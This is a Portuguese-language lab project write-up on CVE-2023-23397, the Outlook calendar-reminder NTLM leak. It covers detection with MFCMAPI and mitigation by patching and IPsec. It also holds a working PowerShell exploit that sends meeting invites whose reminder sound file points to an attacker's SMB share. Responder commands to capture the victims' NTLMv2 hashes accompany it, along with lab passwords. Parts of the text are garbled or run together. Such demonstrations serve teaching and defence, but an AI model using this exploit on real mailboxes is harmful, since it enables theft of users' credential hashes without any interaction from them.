
Demonstração da vulnerabilidade CVE-2023-23397 de escalada de privilégios do Outlook
Este projeto demonstra a detecção, exploração e mitigação do CVE-2023-23397, uma vulnerabilidade crítica de relay NTLM de zero clique no Microsoft Outlook para Windows. Explorada por meio de convites de calendário, essa vulnerabilidade permite que atacantes capturem hashes NTLMv2 sem qualquer interação do usuário.
🛡️ Pontuação CVSS: 9.8 (Crítica)
🖥️ Versões Afetadas: Outlook 2013, 2016, 2019, Microsoft 365 (antes do patch de 14 de março de 2023)
Os lembretes de calendário do Outlook podem ser configurados para reproduzir sons personalizados por meio da propriedade MAPI PidLidReminderFileParameter. O Outlook não valida caminhos UNC, permitindo solicitações SMB remotas quando os lembretes são acionados.
\\attacker-ip\share\sound.wav
Isso faz com que hashes NTLMv2 sejam enviados a servidores controlados pelo atacante, que podem então:
Use o MFCMAPI para inspecionar itens de calendário e verificar se há valores maliciosos em PidLidReminderFileParameter (tag MAPI 0x851F001F).
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F para visualizar os caminhos dos arquivos de lembreteInstale o patch de 14 de março de 2023 (por exemplo, KB5002044). O patch introduz:
IsFileZoneLocalIntranetOrTrusted() para validar os caminhos dos arquivos de lembreteResultado do Teste:
O Outlook registrará o Event ID 1008 e bloqueará o acesso a caminhos SMB não confiáveis.
192.168.1.0/24)📂 Política pré-criada: OutlookMitigation.ipsec
| Sistema | Nome de Usuário | Senha |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Conta de E-mail | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Certifique-se de que o Kali e a VM vítima estejam na mesma rede.
Instale:
Configure:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
O Responder capturará o hash NTLMv2 do sistema da vítima.
PidLidReminderFileParameter contém um caminho UNC.